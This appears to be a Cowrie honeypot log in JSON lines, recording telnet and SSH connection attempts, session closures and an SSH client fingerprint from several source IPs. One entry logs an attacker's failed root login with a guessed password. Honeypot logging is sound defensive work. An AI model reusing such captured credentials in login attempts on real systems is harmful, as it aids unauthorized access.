{"eventid":"cowrie.session.closed","duration":37.71004676818848,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:33.944640Z","src_ip":"62.210.97.77","session":"bb2f64b2a2d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.06023025512695,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:34.225162Z","src_ip":"65.60.27.33","session":"0f5040c4e3ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":58566,"dst_ip":"10.17.0.5","dst_port":22,"session":"b45a2ab0c788","protocol":"ssh","message":"New connection: 94.156.152.18:58566 (10.17.0.5:22) [session: b45a2ab0c788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:34.546007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:34.549972Z","src_ip":"94.156.152.18","session":"b45a2ab0c788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":36612,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f9272997ceb","protocol":"telnet","message":"New connection: 65.60.27.33:36612 (10.17.0.5:23) [session: 1f9272997ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:34.649742Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:34.676208Z","src_ip":"94.156.152.18","session":"b45a2ab0c788","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEENVPS#4VCPU8GBAMD","message":"login attempt [root/QUEENVPS#4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:35.057124Z","src_ip":"94.156.152.18","session":"b45a2ab0c788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:36.186223Z","src_ip":"94.156.152.18","session":"b45a2ab0c788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.589743852615356,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:36.562123Z","src_ip":"62.210.97.77","session":"ae5b60a489b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37820,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bde67b30c0c","protocol":"telnet","message":"New connection: 62.210.97.77:37820 (10.17.0.5:23) [session: 7bde67b30c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:37.162184Z"}
{"eventid":"cowrie.session.closed","duration":33.044654846191406,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:39.015973Z","src_ip":"62.210.97.77","session":"f415e81de5a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40816,"dst_ip":"10.17.0.5","dst_port":23,"session":"3227dece3b32","protocol":"telnet","message":"New connection: 165.232.131.181:40816 (10.17.0.5:23) [session: 3227dece3b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:39.276240Z"}
{"eventid":"cowrie.session.closed","duration":43.91381120681763,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:39.928068Z","src_ip":"165.232.131.181","session":"fda9a02be5de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50506,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d201539e362","protocol":"telnet","message":"New connection: 62.210.97.77:50506 (10.17.0.5:23) [session: 2d201539e362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:40.339006Z"}
{"eventid":"cowrie.session.closed","duration":51.16104817390442,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:41.973949Z","src_ip":"165.232.131.181","session":"3463d251f8fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41718,"dst_ip":"10.17.0.5","dst_port":23,"session":"24c3d1b7d72e","protocol":"telnet","message":"New connection: 165.232.131.181:41718 (10.17.0.5:23) [session: 24c3d1b7d72e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:42.769680Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50512,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3e3408588e1","protocol":"telnet","message":"New connection: 62.210.97.77:50512 (10.17.0.5:23) [session: c3e3408588e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:43.310951Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42930,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7edccd146fb","protocol":"telnet","message":"New connection: 165.232.131.181:42930 (10.17.0.5:23) [session: c7edccd146fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:45.141170Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50520,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ba81dc48f32","protocol":"telnet","message":"New connection: 62.210.97.77:50520 (10.17.0.5:23) [session: 5ba81dc48f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:46.702039Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50528,"dst_ip":"10.17.0.5","dst_port":23,"session":"7de6887aa9af","protocol":"telnet","message":"New connection: 62.210.97.77:50528 (10.17.0.5:23) [session: 7de6887aa9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:46.797633Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50530,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fbcb1945b6a","protocol":"telnet","message":"New connection: 62.210.97.77:50530 (10.17.0.5:23) [session: 5fbcb1945b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:47.345165Z"}
{"eventid":"cowrie.session.closed","duration":120.0017626285553,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:48.193181Z","src_ip":"165.232.131.181","session":"20f0e776118b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40452,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c2cb49acf29","protocol":"telnet","message":"New connection: 62.210.97.77:40452 (10.17.0.5:23) [session: 4c2cb49acf29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:49.347909Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40456,"dst_ip":"10.17.0.5","dst_port":23,"session":"29ff3e271494","protocol":"telnet","message":"New connection: 62.210.97.77:40456 (10.17.0.5:23) [session: 29ff3e271494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:50.151047Z"}
{"eventid":"cowrie.session.closed","duration":37.72483563423157,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:51.360788Z","src_ip":"62.210.97.77","session":"02ed38037855","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.288623094558716,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:51.802777Z","src_ip":"62.210.97.77","session":"c40e5682f54e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40460,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a3597b28964","protocol":"telnet","message":"New connection: 62.210.97.77:40460 (10.17.0.5:23) [session: 2a3597b28964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:52.374615Z"}
{"eventid":"cowrie.session.closed","duration":33.37967038154602,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:53.194271Z","src_ip":"62.210.97.77","session":"c179baa223c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45746,"dst_ip":"10.17.0.5","dst_port":23,"session":"b59d633912a9","protocol":"telnet","message":"New connection: 165.232.131.181:45746 (10.17.0.5:23) [session: b59d633912a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:55.748235Z"}
{"eventid":"cowrie.session.closed","duration":48.27082085609436,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:55.819057Z","src_ip":"165.232.131.181","session":"bbcd5c311378","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.272852659225464,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:58.020970Z","src_ip":"165.232.131.181","session":"b59d633912a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.517876863479614,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:58.384788Z","src_ip":"62.210.97.77","session":"f4edfce973fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48888,"dst_ip":"10.17.0.5","dst_port":23,"session":"d67442df5a22","protocol":"telnet","message":"New connection: 62.210.97.77:48888 (10.17.0.5:23) [session: d67442df5a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:58.655334Z"}
{"eventid":"cowrie.session.closed","duration":34.176870346069336,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:05:59.532182Z","src_ip":"165.232.131.181","session":"ff4b77336e16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.63959550857544,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:00.747477Z","src_ip":"62.210.97.77","session":"68af6d624074","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.15884447097778,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:00.993090Z","src_ip":"62.210.97.77","session":"e1d699dce379","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49234,"dst_ip":"10.17.0.5","dst_port":23,"session":"daf1fdd764e8","protocol":"telnet","message":"New connection: 165.232.131.181:49234 (10.17.0.5:23) [session: daf1fdd764e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:01.412996Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48896,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e32e7230621","protocol":"telnet","message":"New connection: 62.210.97.77:48896 (10.17.0.5:23) [session: 0e32e7230621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:01.909957Z"}
{"eventid":"cowrie.session.closed","duration":42.54702401161194,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:02.017725Z","src_ip":"65.60.27.33","session":"1c51d533239b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48898,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1c2250ff325","protocol":"telnet","message":"New connection: 62.210.97.77:48898 (10.17.0.5:23) [session: a1c2250ff325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:02.320487Z"}
{"eventid":"cowrie.session.closed","duration":33.10683465003967,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:02.469295Z","src_ip":"165.232.131.181","session":"e6316b8925ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.24015712738037,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:02.559328Z","src_ip":"165.232.131.181","session":"d8a278fde610","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.271674871444702,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:07.684541Z","src_ip":"165.232.131.181","session":"daf1fdd764e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.29831576347351,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:08.267874Z","src_ip":"65.60.27.33","session":"425f17f1c5fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":95.6347246170044,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:08.534482Z","src_ip":"165.232.131.181","session":"399f77ca547d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.2610137462616,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:09.792331Z","src_ip":"62.210.97.77","session":"c3ac0a61258b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40796,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5e38c0699de","protocol":"telnet","message":"New connection: 62.210.97.77:40796 (10.17.0.5:23) [session: f5e38c0699de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:10.106954Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53164,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b8013e52eba","protocol":"telnet","message":"New connection: 165.232.131.181:53164 (10.17.0.5:23) [session: 1b8013e52eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:11.071296Z"}
{"eventid":"cowrie.session.closed","duration":44.05261182785034,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:13.247535Z","src_ip":"65.60.27.33","session":"f60c1d537ceb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40812,"dst_ip":"10.17.0.5","dst_port":23,"session":"aea392f2fe07","protocol":"telnet","message":"New connection: 62.210.97.77:40812 (10.17.0.5:23) [session: aea392f2fe07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:13.710328Z"}
{"eventid":"cowrie.session.closed","duration":39.5962073802948,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:16.758291Z","src_ip":"62.210.97.77","session":"7bde67b30c0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.637651443481445,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:16.966046Z","src_ip":"165.232.131.181","session":"c45b7e80f476","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40828,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a38d93b3024","protocol":"telnet","message":"New connection: 62.210.97.77:40828 (10.17.0.5:23) [session: 6a38d93b3024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:17.124469Z"}
{"eventid":"cowrie.session.closed","duration":34.303911447525024,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:17.614768Z","src_ip":"62.210.97.77","session":"c3e3408588e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.24002146720886,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:17.889663Z","src_ip":"65.60.27.33","session":"1f9272997ceb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55546,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e846fbba902","protocol":"telnet","message":"New connection: 65.60.27.33:55546 (10.17.0.5:23) [session: 5e846fbba902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:17.900637Z"}
{"eventid":"cowrie.session.closed","duration":120.00191116333008,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:17.933668Z","src_ip":"38.54.119.93","session":"b7d7f9e90e76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40830,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eae43ec9717","protocol":"telnet","message":"New connection: 62.210.97.77:40830 (10.17.0.5:23) [session: 0eae43ec9717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:18.256720Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57304,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2767bc3f94e","protocol":"telnet","message":"New connection: 65.60.27.33:57304 (10.17.0.5:23) [session: e2767bc3f94e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:18.614492Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55366,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c6940cc072e","protocol":"telnet","message":"New connection: 38.54.119.93:55366 (10.17.0.5:23) [session: 1c6940cc072e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:18.802530Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57278,"dst_ip":"10.17.0.5","dst_port":23,"session":"10306eb30539","protocol":"telnet","message":"New connection: 62.210.97.77:57278 (10.17.0.5:23) [session: 10306eb30539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:19.085433Z"}
{"eventid":"cowrie.session.closed","duration":33.0602753162384,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:19.761983Z","src_ip":"62.210.97.77","session":"5ba81dc48f32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56398,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ab5a11f2580","protocol":"telnet","message":"New connection: 165.232.131.181:56398 (10.17.0.5:23) [session: 8ab5a11f2580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:20.087246Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56922,"dst_ip":"10.17.0.5","dst_port":23,"session":"fea2898b3754","protocol":"telnet","message":"New connection: 38.54.119.93:56922 (10.17.0.5:23) [session: fea2898b3754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:21.111254Z"}
{"eventid":"cowrie.session.closed","duration":41.19752860069275,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:21.536415Z","src_ip":"62.210.97.77","session":"2d201539e362","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.80401420593262,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:22.151819Z","src_ip":"62.210.97.77","session":"4c2cb49acf29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57288,"dst_ip":"10.17.0.5","dst_port":23,"session":"01c5d7e887fb","protocol":"telnet","message":"New connection: 62.210.97.77:57288 (10.17.0.5:23) [session: 01c5d7e887fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:22.252765Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57294,"dst_ip":"10.17.0.5","dst_port":23,"session":"db5b9ef23be7","protocol":"telnet","message":"New connection: 62.210.97.77:57294 (10.17.0.5:23) [session: db5b9ef23be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:22.782534Z"}
{"eventid":"cowrie.session.closed","duration":6.664042949676514,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:25.466461Z","src_ip":"38.54.119.93","session":"1c6940cc072e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.2767550945282,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:26.427720Z","src_ip":"62.210.97.77","session":"29ff3e271494","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57296,"dst_ip":"10.17.0.5","dst_port":23,"session":"b32f1ad80591","protocol":"telnet","message":"New connection: 62.210.97.77:57296 (10.17.0.5:23) [session: b32f1ad80591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:26.589000Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58920,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d55817c8825","protocol":"telnet","message":"New connection: 165.232.131.181:58920 (10.17.0.5:23) [session: 0d55817c8825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:26.690986Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59338,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d59ca9e634d","protocol":"telnet","message":"New connection: 165.232.131.181:59338 (10.17.0.5:23) [session: 6d59ca9e634d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:26.909495Z"}
{"eventid":"cowrie.session.closed","duration":39.63883852958679,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:26.983931Z","src_ip":"62.210.97.77","session":"5fbcb1945b6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.80245637893677,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:27.572046Z","src_ip":"165.232.131.181","session":"24c3d1b7d72e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38100,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb9057bfdcb4","protocol":"telnet","message":"New connection: 65.60.27.33:38100 (10.17.0.5:23) [session: bb9057bfdcb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:27.592019Z"}
{"eventid":"cowrie.session.closed","duration":41.384620666503906,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:06:28.182105Z","src_ip":"62.210.97.77","session":"7de6887aa9af","protocol":"telnet"}
